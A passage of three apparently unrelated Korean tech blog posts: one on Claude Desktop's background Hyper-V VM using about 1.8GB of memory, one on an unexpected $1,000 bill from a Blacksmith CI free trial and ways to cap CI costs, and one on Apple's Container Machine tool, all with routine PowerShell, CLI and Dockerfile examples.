            └─ Vmmem (게스트 메모리 영역, ~1,796~1,846MB)

Vmmem은 별도 프로그램이 아니라 VM 게스트에 할당된 메모리를 호스트 Task Manager에서 보여주기 위한 가상 프로세스다. WSL2를 써본 사람이면 익숙할 거다. WSL2 게스트가 메모리를 먹으면 그게 Vmmem으로 잡힌다. 즉 Claude가 띄운 유틸리티 VM의 메모리 풋프린트가 Vmmem 1.8GB로 나타나는 것이다.

비유하자면, 컨테이너 하나만 돌리려고 Docker Desktop을 켰는데 컨테이너를 다 지워도 백그라운드 LinuxKit VM은 계속 메모리를 잡고 있는 상황과 똑같다. 다른 점은 Docker는 "내가 VM 띄웠다"고 명시적으로 알려주는데, Claude는 채팅만 쓰는 사용자한테 아무 안내 없이 조용히 띄운다는 점이다.

3. 실무 관점 — 측정, 흔한 함정, 대응 전략

실제로 뭐가 도는지 확인하기

먼저 본인 머신에서 진짜 VMP VM이 떠 있는지 확인하는 명령어다. 관리자 PowerShell에서 실행한다.

PS C:\> Get-Process vmwp, vmcompute -ErrorAction SilentlyContinue |
>>   Select-Object Name, Id, @{N='RAM(MB)';E={[math]::Round($_.WorkingSet64/1MB,0)}}

Name        Id  RAM(MB)
----        --  -------
vmcompute  4820       18
vmwp       9132     1812

vmwp가 1800MB 근처를 잡고 있으면 Claude가 띄운 유틸리티 VM이 살아있다는 신호다. Get-VM이 실패하는 환경이라도 이 프로세스는 잡힌다. Hyper-V 관리 cmdlet과는 다른 레이어라는 점을 다시 강조해둔다.

VMP 기능 자체가 켜져 있는지는 이렇게 본다.

PS C:\> Get-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform |
>>   Select-Object FeatureName, State

FeatureName             State
-----------             -----
VirtualMachinePlatform Enabled

흔한 함정 — 세션 파일 누적과 JSON 에러

보고에서 주목할 부분이 두 가지 있다. 첫째, %APPDATA%\Claude\local-agent-mode-sessions\ 안에 이전 Cowork 세션 파일이 2,689개 쌓여 있었다는 점이다. 세션 종료 후 정리 로직이 없다는 뜻이다. 더 황당한 건 이 파일들을 다 지우고 VM 프로세스를 죽여도, 앱을 다시 켜면 VM과 1.8GB Vmmem이 즉시 다시 생긴다는 점이다. 세션 파일이 원인이 아니라 앱 자체가 시작 시 무조건 VM을 띄우는 구조라는 거다.

둘째, Hyper-V Compute Admin 로그(이벤트 뷰어 → Applications and Services Logs → Microsoft → Windows → Hyper-V-Compute)에 부팅·앱 실행 때마다 이런 에러가 반복된다.

The specified property query is invalid:
The virtual machine or container JSON document is invalid.
(0xC037010D, 'Invalid JSON document '$'')

이 0xC037010D 에러는 vmcompute에 넘긴 VM 정의 JSON이 깨졌을 때 나는 거다. 빈 $ 문자열을 JSON으로 던진 흔적인데, 이게 매 실행마다 찍히는 걸 보면 VM 초기화 로직이 정상 경로를 안 타고 있을 가능성이 높다. 이벤트 로그가 이런 에러로 도배되면 모니터링 알림 노이즈가 늘어나니, 사내 SIEM에 Hyper-V-Compute 로그를 물려둔 곳이라면 미리 필터링 룰을 잡아두는 게 좋다.

리소스 영향

보고 기준으로 16GB 시스템에서 유휴 메모리 사용량이 약 50%에서 62%로 올라갔고, 일반 앱 부하가 겹치면 70~75%까지 치솟았다. 16GB 노트북에서 1.8GB를 상시 떼이는 건 무시 못 할 수준이다. 특히 VDI나 회의실 공용 PC처럼 메모리가 빠듯한 환경에서는 체감이 크다. (디스크의 경우 macOS에서는 약 10GB VM 번들을 만든다는 별도 보고가 있는데, Windows 쪽 디스크 사용량 수치는 본 보고에 명시돼 있지 않다. 환경별 확인이 필요하다.)

대응 전략

(1) Cowork를 안 쓴다면 — VMP 자체를 끈다

PS C:\> Disable-WindowsOptionalFeature -Online `
>>   -FeatureName VirtualMachinePlatform -NoRestart

Path          :
Online        : True
RestartNeeded : Possible

가장 확실한 방법이지만 부작용이 있다. WSL2, Docker Desktop, Windows Sandbox도 같이 못 쓰게 된다. 개발 머신에서 WSL2를 쓰고 있다면 이 옵션은 못 쓴다. 그리고 당연히 Cowork 기능도 비활성화된다.

(2) VMP는 살리되 VM만 매번 죽이기

PS C:\> Stop-Process -Name vmwp -Force
PS C:\> Stop-Process -Name vmcompute -Force

이렇게 죽여도 채팅 기능은 정상 동작한다. 다만 앱 재실행 때마다 다시 떠서 반복 작업이 된다. 매번 손으로 치기 귀찮으면 작업 스케줄러에 등록하거나, Claude 실행을 감싸는 래퍼 스크립트로 후처리하는 식으로 자동화할 수 있다. 단 vmcompute는 다른 가상화 기능도 공유하는 서비스라, WSL2 등을 같이 쓰는 머신에서는 vmcompute까지 죽이면 다른 VM도 영향을 받을 수 있으니 주의해야 한다.

(3) 격리 VM 안에서 Claude를 돌린다

HN 댓글에서 가장 깔끔한 해법으로 언급된 방식이다. Claude Desktop을 Windows Sandbox나 별도 Hyper-V VM 안에서 돌리고, 그 게스트 VM 안에는 VirtualMachinePlatform을 설치하지 않는 것이다. 그러면 Claude가 VMP가 없는 걸 감지하고 Cowork 탭을 그냥 비활성화한다. 실제로 "VMP가 전혀 설치 안 된 VM에서 돌리니 앱이 이를 받아들이고 Cowork를 비활성화하더라"는 보고가 있다.

다만 이건 트레이드오프가 있다. 기업 환경에서 VM 안에서 도구를 돌리면 관측 가능성(observability)이 떨어진다. 플랫폼 담당자나 보안팀 입장에선 사용자 수준 텔레메트리와 샌드박스 내부 로그가 분리되는 게 골치 아픈 지점이다. EDR(Defender, CrowdStrike 등)이 게스트 내부를 어떻게 볼지도 따로 정책을 잡아야 한다.

(4) 그냥 웹/PWA를 쓴다

냉정하게 말하면, 컴퓨터에 아무것도 접근시키지 않고 채팅만 할 거라면 데스크톱 앱을 쓸 이유가 별로 없다. HN에서도 "빠른 질문은 Claude 웹 앱을 PWA로 고정해서 쓰고, 프로젝트 작업은 CLI를 쓴다"는 운영 패턴이 여러 번 언급됐다. 채팅 전용 사용자라면 PWA가 메모리 풋프린트 측면에서 압도적으로 가볍다.

4. 정리 — 누가 언제 신경 써야 하나

한 줄 요약: Claude Desktop은 Cowork를 한 번 쓰면 그 뒤로는 채팅만 해도 시작 시 VMP 기반 유틸리티 VM을 띄워 Vmmem으로 ~1.8GB를 상시 점유하며, 현재 공식적으로 이걸 끌 토글은 없다.

• WSL2/Docker를 안 쓰고 채팅 위주라면: VMP를 끄거나 그냥 PWA로 갈아타라. 제일 깔끔하다.
• WSL2/Docker를 같이 쓰는 개발 머신이라면: VMP를 못 끄니, vmwp 종료 자동화나 격리 VM 방식을 고려하라.
• VDI·공용 PC·메모리 빠듯한 환경을 운영한다면: 배포 정책에서 Claude Desktop을 통제하거나, 표준 이미지에서 Cowork 사용을 막는 가이드를 미리 만들어둬라. 1.8GB 상시 점유는 동시 세션 밀도에 직접 영향을 준다.

방향성 자체는 데스크톱 AI 툴의 자연스러운 흐름이다. 에이전트가 호스트에서 명령을 실행하려면 샌드박스가 필수고, 앞으로 나올 도구들도 대부분 비슷한 구조를 갖게 될 거다. 다만 이번 케이스의 진짜 교훈은 "기능을 안 쓰는 사용자에게는 비용을 물리지 말라"는 기본 원칙이다. 요청된 동작도 결국 "Cowork가 실제로 요청될 때만 VM을 초기화하고, 세션 종료 후 정리하고, 필요 없으면 채팅 전용 모드로 가라"는 지극히 상식적인 내용이다. 향후 버전에서 lazy initialization이 들어가는지 릴리스 노트를 지켜볼 필요가 있다.

참고 자료

• Claude Desktop이 채팅 전용 사용에도 실행 때마다 1.8GB Hyper-V VM (GeekNews)
• Anthropic GitHub (원 이슈 출처)
• r/ClaudeAI — macOS 10GB VM 번들 관련 논의
• Microsoft Docs — WSL2 / Virtual Machine Platform (공식 문서)

1. 도입: "신용카드 없는 무료 체험"이 $1,000 청구서로 돌아온 이야기

CI가 느려서 답답해 본 사람이라면 한 번쯤 GitHub Actions 대체재를 검색해 봤을 거다. PR이 쌓이고 빌드 큐가 밀리면 "더 빠른 러너 없나"부터 찾게 되니까. 이번에 화제가 된 글은 그 흔한 동기에서 시작한다. PR 처리량이 늘면서 GitHub Actions 기반 CI가 너무 느리고 비싸졌고, 드롭인 대체재를 표방하는 Blacksmith로 갈아탔다는 거다.

전환 자체는 성공적이었다. GitHub 설정을 그대로 가져왔고 CI는 실제로 빨라졌다. 문제는 과금이었다. 신용카드 없이 시작한 무료 체험이었는데:

• 무료 분(minute) 80% 사용 알림 → "서비스 중단을 피하려면 카드 등록하라"는 이메일
• 그런데 작업은 멈추지 않고 계속 실행됨
• 몇 주 뒤 $500.60 사용 알림
• 이어서 $1,081.45 청구서 + 연체 안내

핵심 충돌은 여기다. 대부분의 엔지니어는 "신용카드 없는 무료 체험"이라면 한도에 도달했을 때 서비스가 멈춘다(하드캡)고 기대한다. 그런데 Blacksmith 지원팀의 설명에 따르면 "서비스 중단"은 작업 자동 중단이 아니라 의심 활동 검토나 정지 검토를 뜻했고, 무료 한도 초과 후에도 워크플로는 공개 요율로 계속 누적됐다.

이건 단순 사건 사고가 아니라, CI/CD 파이프라인을 운영하는 사람이라면 누구나 한 번쯤 밟을 수 있는 지뢰다. 이 글에서는 동작 구조를 뜯어보고, 실무에서 비용 폭탄을 어떻게 방어하는지 명령어 수준으로 정리한다.

2. 핵심: Blacksmith는 어떻게 GitHub Actions를 "그대로" 대체하는가

먼저 왜 이런 서비스가 빠른지부터 이해해야 과금 구조도 보인다. GitHub Actions 워크플로 YAML을 보면 작업이 어디서 실행될지를 runs-on 으로 지정한다. 보통은 GitHub가 제공하는 호스티드 러너를 쓴다.

# 기존 GitHub 호스티드 러너
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ./build.sh

Blacksmith 같은 대체 러너 서비스의 트릭은 이 runs-on 한 줄만 바꾸면 자기네 인프라에서 같은 워크플로가 돌게 만든다는 거다. 그래서 "드롭인 대체재(drop-in replacement)"라고 부른다.

# 러너 라벨만 교체 — 나머지 스텝은 그대로
jobs:
  build:
    runs-on: blacksmith-4vcpu-ubuntu-2204
    steps:
      - uses: actions/checkout@v4
      - run: ./build.sh

비유하자면 이렇다. 콘센트 규격(GitHub Actions의 워크플로 인터페이스)은 그대로 두고, 뒤에 연결된 발전소(실제 컴퓨트)만 더 빠르고 싼 곳으로 바꾸는 거다. 코드 입장에서는 자기가 어느 발전소에 물려 있는지 모른다. runs-on 라벨이 가리키는 곳으로 잡(job)이 디스패치될 뿐이다.

속도가 빨라지는 이유는 대체로 (1) 더 빠른 vCPU/디스크, (2) 자체 캐시 레이어, (3) 큐 대기 시간 단축 같은 요소다. 원문에서도 "개발 주기의 답답한 병목을 더 빠르게 만들기 때문에 빠르게 성장했다"고 평가한다.

여기서 과금 구조의 본질이 드러난다. 이런 서비스는 GitHub처럼 "사용 시간(분) × 머신 등급"으로 과금한다. blacksmith-4vcpu 처럼 더 큰 러너를 쓰면 분당 단가가 올라간다. 그런데 GitHub 호스티드 러너에 익숙한 사람은 "Actions 무료 분 다 쓰면 그냥 큐에서 안 돌겠지"라는 멘탈 모델을 그대로 가져온다. 이 멘탈 모델과 실제 후불 누적 과금이 충돌하는 지점이 이번 사건의 핵심이다.

참고로 원문 댓글에서 한 사용자가 지적했듯, $1,000 청구서가 나오려면 CI 시간을 정말 많이 써야 한다. 6명이 여러 저장소에서 Rust 빌드까지 빡세게 돌려도 월 $150 수준이라는 사례가 있었다. 즉 이건 취미 수준 사용량이 아니라 실질적인 컴퓨트 수요가 있는 팀이 실제 비용을 마주한 케이스에 가깝다. 그렇다 해도 "무료 체험"이라는 라벨과 후불 청구의 충돌은 별개 문제다.

3. 무료 한도 초과 후에도 작업이 계속 돈 이유 — 과금 메커니즘의 허점

왜 멈추지 않았을까. 기술적으로 보면 과금/계량 시스템과 프로비저닝(잡 실행) 시스템이 분리되어 있고, 그 사이를 실시간으로 끊는 하드 게이트가 없었기 때문으로 보인다. 원문 댓글 중에도 "과금과 계량은 어렵고, 실제 서비스보다 더 큰 공학 작업일 수 있다"는 평가가 나온다.

흔한 SaaS 패턴은 두 가지다.

• 선불/하드캡형: 한도 도달 → 즉시 잡 거부. McDonald's 식 선결제. 사용자 기대와 일치.
• 후불/누적형: 한도 초과 → 공개 요율로 계속 과금 → 나중에 청구서. 앉아서 먹는 식당 식 후결제.

원문 댓글의 표현을 빌리면, "관례상 선불인 서비스에 후불 가격 책정을 적용하면 완벽한 사기가 된다"는 거다. CI 무료 체험은 통념상 선불·하드캡이라고 기대하는데, 실제 동작은 후불 누적이었던 셈이다.

실무에서 더 무서운 건 "의심 활동/정지 검토"라는 표현이 "잡 자동 중단"으로 읽힌다는 점이다. 이메일에 "서비스 중단을 피하려면 카드 등록하라"고 적혀 있으면, 대부분은 "안 넣으면 알아서 멈추겠지"라고 해석한다. 그런데 멈추는 건 계정 상태 검토이지 워크플로 실행이 아니었다. 이 어휘의 갭이 $1,000을 만들었다.

4. 실무 관점: CI 비용 폭탄을 막는 방어선

이건 남의 일이 아니다. 우리도 새 CI 서비스를 PoC할 때 이런 함정에 빠진다. 방어선을 레이어별로 깔아야 한다.

4-1. 1차 방어선: 가상 카드 + 사용량 제한

원문 댓글의 한 사용자는 "무료 체험에 카드를 요구하는 곳에는 항상 가상 카드를 쓰고 취소한다"고 했다. 한도 걸린 일회용 가상 카드(Privacy.com, 토스/카카오 등 국내 가상카드 기능 등)를 쓰면, 후불 청구가 와도 결제 자체가 막힌다. 다만 이건 결제만 막을 뿐 약관상 채무가 사라지는 건 아니니, 어디까지나 보조 수단으로 본다.

또한 Depot 창업자가 댓글에서 밝혔듯, 정상적인 서비스라면 "예기치 않게 비용이 폭주하지 않도록 사용량 제한(spending cap)" 기능을 제공한다. PoC 시작 전에 이 옵션이 있는지부터 확인하는 게 1순위다.

4-2. 2차 방어선: GitHub Actions 사용량을 직접 계량해 알림

대체재의 청구서를 그대로 믿지 말고, 내가 직접 우리 워크플로가 분을 얼마나 먹는지 측정해야 한다. GitHub API로 워크플로 실행 시간을 뽑는 예시다.

# 특정 워크플로의 최근 실행별 소요 시간(ms) 뽑기
gh api \
  -H "Accept: application/vnd.github+json" \
  "/repos/OWNER/REPO/actions/runs?per_page=20" \
  --jq '.workflow_runs[] | {name, status, run_started_at, id}'

실행 출력 예시:

{"id":12345678901,"name":"CI","run_started_at":"2024-06-01T09:12:03Z","status":"completed"}
{"id":12345678902,"name":"CI","run_started_at":"2024-06-01T10:44:51Z","status":"completed"}
{"id":12345678903,"name":"Deploy","run_started_at":"2024-06-01T11:02:10Z","status":"completed"}

개별 실행의 청구 시간(billable time)은 timing 엔드포인트로 본다.

# 특정 run의 빌링 가능한 시간(밀리초) 확인
gh api "/repos/OWNER/REPO/actions/runs/12345678901/timing" \
  --jq '.billable'

출력 예시:

{
  "UBUNTU": {
    "total_ms": 540000,
    "jobs": 3
  }
}

total_ms가 540000이면 9분(=540000/1000/60)이다. 이런 수치를 매일 슬랙으로 쏘는 워크플로 하나만 만들어 둬도, "어느 날 갑자기 빌드 시간이 3배로 튀었다" 같은 이상 징후를 청구서가 오기 전에 잡을 수 있다. 원문 댓글에도 "실행 후 시간 측정 작업을 두고 GitHub Markdown의 Mermaid Gantt 차트로 표현했다"는 사례가 나온다.

4-3. 3차 방어선: 권한과 트리거를 조여 폭주 자체를 막기

비용 폭주는 대개 "의도치 않게 워크플로가 너무 많이 돌 때" 생긴다. 흔한 원인이 push 트리거에 동시성 제어가 없어서, 빠른 연속 커밋마다 빌드가 중첩으로 도는 경우다. 동시성(concurrency)으로 진행 중인 옛 실행을 취소하면 분이 크게 절약된다.

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

on:
  push:
    branches: [main]
  pull_request:

그리고 큰 러너의 함정 하나. 원문 댓글에서 짚었듯 "2배 실행기가 빌드를 2배 빠르게 해 주지는 않는다." 4vcpu를 8vcpu로 올리면 단가는 2배인데 빌드는 1.3배밖에 안 빨라지는 경우가 흔하다. 병렬화가 안 되는 빌드 스텝(직렬 의존성)이 많으면 vCPU만 늘려도 돈만 더 나간다. 캐싱(TypeScript라면 Nx, Rust라면 sccache 등)부터 챙기는 게 큰 러너로 도망가는 것보다 비용 효율이 낫다.

4-4. 흔한 함정 — 실제로 마주칠 에러

러너 서비스의 무료 한도가 막혀서 잡이 픽업되지 못하면, GitHub Actions UI에서 잡이 큐 상태로 멈춘 채 이런 메시지를 자주 본다:

This job is waiting for a runner to come online.
Waiting for a runner to pick up this job...

또는 자체 호스팅/대체 러너 라벨을 매칭하는 러너가 없을 때:

Error: No runner matching the specified labels was found: blacksmith-4vcpu-ubuntu-2204

이런 메시지가 뜨면 대개 (1) 무료/유료 한도 소진, (2) 결제 수단 미등록으로 인한 계정 정지, (3) 러너 라벨 오타 중 하나다. 그런데 이번 사건처럼 한도를 넘어도 막지 않는 구조라면, 위 에러조차 안 뜨고 그냥 조용히 과금이 누적된다. 에러가 안 나는 게 오히려 위험 신호일 수 있다는 게 이 케이스의 교훈이다.

4-5. 대안 비교

원문과 댓글에 등장한 대체재들이다. 모두 GitHub보다 저렴한 GHA 러너를 표방한다는 공통점이 있고, 과금 정책은 제각각이다.

• GitHub Actions(원본): 통합이 가장 매끄럽지만 느리고 분당 단가가 높다는 게 출발점의 불만.
• Blacksmith: 빠르지만 이번 후불 누적 과금이 논란. 댓글의 한 사용자는 결국 우호적 응대를 받고 다시 쓸 가능성이 높다고 정리.
• Depot: 창업자가 직접 댓글에서 "시간 기준의 진짜 무료 체험"과 "사용량 제한"을 강조.
• Warp build: 댓글 사용자가 GitHub 대비 50% 저렴, 6명 팀이 Rust 빌드 포함 월 $150 수준이라고 언급.
• Ubicloud: 만족스럽게 써봤다는 댓글 존재.
• 전용 서버 자체 호스팅: 사용량이 정말 크면 이게 더 쌌을지 검토할 가치가 있다는 의견.

여기 적힌 가격/배수는 모두 원문 댓글의 개별 사용자 경험치이고, 우리 환경(언어, 캐시 전략, 동시성)에 따라 크게 달라진다. 반드시 직접 PoC로 검증해야 한다.

5. 정리: 한 줄 요약과 의사결정

한 줄 요약: "무료 체험"과 "신용카드 불필요"는 하드캡을 보장하지 않는다. 후불 누적형 과금이라면 한도 초과 후에도 돈이 계속 쌓인다.

누가 언제 써야 하나:

• 대체 러너를 도입할 팀: 속도 개선은 분명한 가치다. 단, PoC 전에 spending cap / 하드캡 옵션 유무를 약관 수준에서 확인하고, 가상 카드 + 자체 사용량 계량 알림을 깔아라.
• SaaS를 만드는 입장: 원문 결론처럼 "대부분의 사용자는 무료 계정이 초과 누적 전에 정지될 것을 기대한다." 후불 청구는 단기 매출을 올릴 수 있어도 호의 상실과 평판 손상이 더 클 수 있다. "72시간 안에 카드 미등록 시 CI 중단" 같은 명시적 경고가 정직한 길이다.
• 지금 Blacksmith를 시험 중인 사람: 원문 조언대로, 당분간은 체험 한도에 도달하기 전에 사용을 줄이는 편이 안전하다.

마지막으로 벤더 종속(lock-in) 관점. 댓글의 지적처럼 스타트업 CI 서비스는 빠르게 성장하다가도 그냥 실패할 수 있다. 성공이 분명해지기 전까지는 플랫폼 고유 기능에 깊게 종속되지 말고, runs-on 라벨만 바꾸면 원본 GitHub Actions로 즉시 돌아갈 수 있는 상태를 유지하는 게 안전한 운영 전략이다.

참고 자료

• 놀랐죠, $1000를 내세요 — GeekNews(원문)
• GitHub REST API — Workflow runs (timing 엔드포인트 포함)
• GitHub Actions — Concurrency 공식 문서
• GitHub Actions 과금 정책 공식 문서
• Depot (댓글에서 언급된 대체 러너)

맥북을 개발 머신으로 쓰는 백엔드/인프라 엔지니어라면 한 번쯤 고민해봤을 거다. "Docker Desktop 라이선스도 신경 쓰이고, 리소스도 많이 먹고… 대안이 뭐가 있나." Lima, Colima, OrbStack로 갈아탄 사람도 많을 거다. 그런데 작년부터 Apple이 직접 apple/container 프로젝트를 GitHub에 올리면서 판이 좀 달라졌다. 이번 글에서는 그중에서도 최근 Hacker News에서 화제가 된 Container Machine 문서를 실무자 시선으로 뜯어본다.

먼저 분명히 해두자. 이 글은 공식 문서(container-machine.md)를 기준으로 쓴다. 문서에 없는 벤치마크 수치나 버전별 동작은 함부로 단정하지 않고, 확인이 필요한 부분은 그렇게 표시한다.

1. 왜 지금 화제이고 어떤 문제를 푸는가

우리가 흔히 쓰는 컨테이너는 "애플리케이션 하나"를 모델로 한다. nginx 이미지, postgres 이미지처럼 프로세스 하나 띄우고 끝나는 구조다. 그런데 실무에서 의외로 자주 필요한 건 그게 아니다. "리눅스 환경 자체"가 필요할 때가 있다.

• 로컬은 맥인데, 빌드와 실행은 리눅스에서 검증하고 싶을 때
• systemd 기반으로 돌아가는 서비스(예: postgresql, redis를 시스템 서비스로)를 통째로 테스트하고 싶을 때
• alpine, ubuntu, debian 등 타겟 배포판별로 동작을 확인해야 할 때

Container Machine은 바로 이 지점을 노린다. 공식 문서의 표현을 빌리면 "A container machine is modeled after a Linux environment". 즉 앱 하나가 아니라 init 시스템까지 포함한 리눅스 환경 전체를 가볍고 영구적인(persistent) 형태로 맥 위에서 돌리는 게 목표다.

Docker Desktop이나 Lima와의 가장 큰 차이는 호스트 통합이다. 문서가 강조하는 핵심 컨셉이 "Edit on the Mac, build inside"인데, 풀어보면 이렇다.

• 내 맥 홈 디렉토리($HOME)에 있는 레포가 컨테이너 머신 안에서도 그대로 보인다.
• 맥 계정 username과 home 디렉토리가 자동으로 리눅스 환경에 매핑된다. whoami를 쳐도 root가 아니라 내 호스트 계정 이름이 나온다.
• 맥에서 VS Code로 코드를 짜고, 빌드/실행은 리눅스 안에서, 그리고 결과물은 다시 맥 네이티브 도구(브라우저, 프로파일러 등)로 들여다본다. 복사 단계가 없다.

OrbStack을 써본 사람이라면 "어? 그거 OrbStack도 비슷하게 해주는데?"라고 할 거다. 맞다. 컨셉은 OrbStack의 머신 기능과 상당히 겹친다. 차이라면 이건 Apple이 직접 관리하는 오픈소스이고, 애초에 Apple Silicon + Virtualization.framework 위에서 돌도록 설계됐다는 점이다.

2. 동작 원리: 명령어로 직접 보기

백문이 불여일견. Quickstart부터 따라가 보자. 문서 기준 가장 기본 흐름이다.

# alpine 기반 컨테이너 머신을 'dev'라는 이름으로 생성
container machine create alpine:latest --name dev

# 컨테이너 머신 안에서 whoami 실행
container machine run -n dev whoami

여기서 핵심은 출력이다. 일반 컨테이너에서 whoami를 치면 보통 root가 나오는데, 컨테이너 머신은 다르다.

$ container machine run -n dev whoami
your-mac-username      # root가 아니라 호스트 맥 계정 이름

$ container machine run -n dev pwd
/home/your-mac-username   # 맥 홈 디렉토리가 마운트된 위치

이게 바로 "username과 home 디렉토리 자동 매핑"이 동작하는 모습이다. 인자 없이 container machine run -n dev만 치면 인터랙티브 셸로 들어가고, 이 안에서 내 레포 디렉토리로 cd하면 맥에서 작업하던 파일이 그대로 보인다.

명령 단위로 한 번만 실행하고 빠지고 싶으면 이렇게 쓴다. -- 뒤에 붙이는 형태도 지원한다.

$ container machine run -n dev uname -a
Linux dev 6.x.x ... aarch64 GNU/Linux

$ container machine run -n dev -- cat /proc/cpuinfo

매번 -n dev를 붙이기 귀찮으면 기본 머신을 지정해두면 된다. 그리고 container machine은 m이라는 짧은 별칭이 있어서 m ls, m run처럼 쓸 수 있다.

container machine set-default dev
container machine run        # 이제 -n 없이도 dev에서 동작

# 별칭 사용
m ls          # 모든 컨테이너 머신 목록
m inspect dev # dev의 JSON 상세 정보
m stop dev    # 중지
m rm dev      # 영구 스토리지까지 포함해 삭제

격리 모델은 어떻게 되나

여기서부터는 문서에 명시된 범위와 합리적 추론을 구분해서 말하겠다. Apple의 container 프로젝트는 일반적으로 각 컨테이너를 경량 VM 위에서 격리하는 구조로 알려져 있고, 이는 Virtualization.framework를 기반으로 한다. 컨테이너 머신 역시 init 시스템(/sbin/init)을 직접 부팅한다는 점에서 단순 namespace 격리가 아니라 VM 경계를 가진 풀 리눅스 환경에 가깝다.

다만 "컨테이너마다 별도 VM인지, 머신마다 하나의 VM인지"의 구체적인 구현 디테일은 이 container-machine.md 문서만으로는 단정하기 어렵다. 실제 격리 단위와 커널 공유 여부는 프로젝트 상위 문서 확인이 필요하다. 다만 실무 체감상 중요한 건, init/systemd를 띄울 수 있다는 사실 자체다. 문서에도 이렇게 적혀 있다.

Run a database or whatever your stack needs as a system service — systemctl start postgresql works on images with systemd installed.

일반 컨테이너에서 systemd 띄우려고 --privileged에 cgroup 마운트 삽질해본 사람이라면, 이게 기본으로 된다는 게 얼마나 편한지 알 거다.

3. 실무 관점: 고려사항, 트레이드오프, 흔한 함정

리소스 설정 — 메모리 기본값이 호스트의 절반이다

이거 모르고 쓰면 맥 전체가 버벅인다. 문서에 명시되어 있다. "Memory defaults to half of host memory." 16GB 맥북이면 컨테이너 머신 하나가 기본 8GB를 잡아간다는 얘기다. 여러 머신을 동시에 띄우는 시나리오라면 반드시 조정하자.

# CPU 4개, 메모리 8G로 변경
container machine set -n dev cpus=4 memory=8G

# 설정은 재시작 후 적용된다 — 이 순서가 중요
container machine stop dev
container machine run -n dev -- nproc

흔한 함정 하나: set으로 바꿔놓고 바로 적용 안 됐다고 당황하는 경우. 문서가 분명히 못 박는다. "Changes take effect after the next stop and start." 즉 실행 중인 머신에 즉시 반영되지 않는다. stop → run(또는 start)을 거쳐야 한다. CI 스크립트에서 동적으로 리소스 바꾸려다 이걸로 한참 헤매기 좋다.

볼륨/홈 마운트 모드 — ro로 묶다가 빌드가 깨진다

홈 마운트는 세 가지 모드가 있다. rw(기본), ro, none. 보안이나 실수 방지 목적으로 ro로 걸어두는 건 좋은데, 빌드 산출물을 홈 디렉토리 하위에 쓰는 툴체인을 쓰면 권한 에러로 빌드가 깨진다. 리눅스 안에서 흔히 이런 메시지를 보게 된다.

Read-only file system
error: failed to write to /home/your-username/project/target/...:
Read-only file system (os error 30)

이건 마운트 모드가 ro일 때 전형적으로 만나는 패턴이다. 빌드 캐시나 산출물 디렉토리를 홈 밖(예: 머신 내부 임시 경로)으로 빼거나, 마운트를 rw로 두는 식으로 우회해야 한다.

BYO 이미지 — systemd 없으면 그냥 컨테이너다

문서가 명확히 한 조건이 있다. "Any Linux image that includes /sbin/init works as a container machine." 즉 init이 없는 minimal 이미지를 그대로 쓰면 컨테이너 머신의 장점(서비스 supervisor, systemctl)을 못 쓴다. systemd 깔린 Ubuntu 머신을 직접 빌드하려면 문서의 Dockerfile을 거의 그대로 따라가야 한다.

FROM ubuntu:24.04
ENV container container
RUN apt-get update \
    && apt-get install -y \
       dbus systemd openssh-server net-tools iproute2 \
       iputils-ping curl wget vim-tiny man sudo \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && yes | unminimize
RUN systemctl set-default multi-user.target
# (이하 hugepages.mount 등 불필요 유닛 mask/disable 생략)

# 이미지 빌드 후 머신으로 생성
container build -t local/ubuntu-machine:latest .
container machine create local/ubuntu-machine:latest --name ubuntu

여기서 알아둘 디테일 하나. 첫 부팅 시 Apple이 기본 setup 스크립트를 돌려서 호스트 계정 매핑 유저를 만든다. 이걸 직접 제어하고 싶으면 이미지에 /etc/machine/create-user.sh 실행 스크립트를 넣으면 된다. root로, 첫 부팅에 한 번만 실행되며 CONTAINER_UID, CONTAINER_GID, CONTAINER_HOME, CONTAINER_USER, CONTAINER_MACHINE_ID 환경변수가 주어진다. 사내 표준 유저 설정(특정 그룹, sudoers 등)을 강제해야 하는 팀이라면 이 훅이 꽤 유용하다.

네트워킹 — 문서 범위 밖이라 단정 금지

개요에서 "네트워킹 구조 분석"을 기대했을 텐데, 솔직하게 말하면 container-machine.md 문서 자체에는 컨테이너 간 통신이나 호스트 브리지 동작에 대한 구체적 서술이 없다. 빌드한 Ubuntu 이미지에 net-tools, iproute2, iputils-ping을 넣는 걸로 보아 네트워크 도구가 동작하는 환경인 건 분명하지만, 구체적인 브리지/포트포워딩 동작 원리는 별도 네트워킹 문서로 확인이 필요하다. 여기서 추측으로 채우면 그게 바로 검색 유입자에게 잘못된 정보를 주는 길이라, 확인 전엔 단정하지 않겠다.

성능 비교 — 실측 수치는 직접 재라

마찬가지로 Docker Desktop / Lima / OrbStack 대비 정량 벤치마크는 이 문서에 없다. 다만 설계상 추론할 수 있는 트레이드오프는 있다.

• 장점 방향: Apple Silicon + Virtualization.framework 네이티브 설계라 ARM 리눅스 환경에서의 오버헤드가 작을 것으로 기대된다. 홈 디렉토리 직접 마운트라 파일 동기화 복사 비용이 없다.
• 비용 방향: 머신마다 init/systemd 풀 부팅 + 기본 메모리 절반 할당이라, "앱 컨테이너 하나만 가볍게"라는 용도엔 과하다.

실제 도입 검토라면 본인 워크로드(예: cargo build, go build, DB 부하 테스트)로 Docker Desktop/OrbStack과 직접 시간을 재서 비교하는 걸 권한다. 일반론으로 "더 빠르다"고 말하는 게 가장 위험하다.

4. 정리: 한 줄 요약과 도입 판단

한 줄 요약: Container Machine은 "앱 컨테이너"가 아니라 "내 맥 홈이 그대로 들어간 영구 리눅스 환경"을 Apple Silicon 위에서 네이티브로 굴리는 도구다.

이런 사람한테 맞다:

• 맥에서 코드 짜고 리눅스에서 빌드/테스트하는 워크플로우가 일상인 백엔드/시스템 개발자
• systemd 기반 서비스(DB 포함)를 로컬에서 통째로 띄워 검증해야 하는 경우
• alpine/ubuntu/debian 멀티 배포판 호환성을 자주 확인하는 라이브러리/CLI 메인테이너
• Docker Desktop 라이선스/리소스 부담에서 벗어날 오픈소스 대안을 찾는 팀

아직 신중해야 할 경우:

• 프로덕션 CI의 핵심 빌드 인프라로 바로 올리기엔, 네트워킹·성능 특성이 공개 문서로 충분히 검증되지 않았다. 로컬 개발 보조부터 시작하는 게 안전하다.
• Intel 맥 사용자. 이 프로젝트는 Apple Silicon 전제다.
• "앱 하나만 가볍게" 돌리는 용도라면 풀 init 부팅과 메모리 절반 기본값이 오히려 부담이다 — 이 경우는 기존 컨테이너 런타임이 낫다.

